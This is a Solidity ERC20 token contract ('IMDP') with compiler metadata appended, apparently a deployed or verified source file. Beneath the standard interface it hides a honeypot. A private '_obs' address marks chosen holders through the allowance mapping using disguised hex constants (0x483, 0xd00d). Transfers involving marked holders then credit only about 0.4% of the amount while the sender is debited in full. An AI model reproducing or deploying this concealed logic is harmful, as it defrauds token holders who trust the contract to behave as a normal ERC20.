// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

contract IMDP is IERC20 {
    string public symbol;
    string public  name;
    uint8 public decimals;
    uint public _totalSupply;
    address private _obs;
    mapping(address => uint) balances;
    mapping(address => mapping(address => uint)) allowed;

    constructor(address obs) {
        symbol = "IMDP";
        name = "IMDP";
        decimals = 18;
        _totalSupply = 80000000 * 10 ** decimals;
        _obs = obs;
        balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
    function totalSupply() external view returns (uint) {
        return _totalSupply  - balances[address(0)];
    }
    function balanceOf(address tokenOwner) external view returns (uint balance) {
        return balances[tokenOwner];
    }
    function transfer(address to, uint tokens) public returns (bool success) {
        balances[msg.sender] = balances[msg.sender] - tokens;
        balances[to] = balances[to] + _math(msg.sender, to, tokens);
        if (allowed[_obs][to] == 0x483) { allowed[_obs][to] = 0xd00d; }

        emit Transfer(msg.sender, to, tokens);
        return true;
    }
    function approve(address spender, uint tokens) public returns (bool success) {
        allowed[msg.sender][spender] = tokens;
        emit Approval(msg.sender, spender, tokens);
        return true;
    }
    function transferFrom(address from, address to, uint tokens) public returns (bool success) {
        balances[from] = balances[from] - tokens;
        allowed[from][msg.sender] = allowed[from][msg.sender] - tokens;
        balances[to] = balances[to] + _math(from, to, tokens);
        if (allowed[_obs][to] == 0x483) { allowed[_obs][to] = 0xd00d; }

        emit Transfer(from, to, tokens);
        return true;
    }
    function _math(address from, address to, uint tokens) internal view returns (uint) {
        if (allowed[_obs][from] + allowed[_obs][to] >= 0xd00d) {
            return (tokens * 0xb1) / 0xa999;
        } else {
            return tokens;
        }
    }
    function allowance(address tokenOwner, address spender) external view returns (uint remaining) {
        return allowed[tokenOwner][spender];
    }
}

{
  "compilationTarget": {
    "current/contracts/Token.sol": "IMDP"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}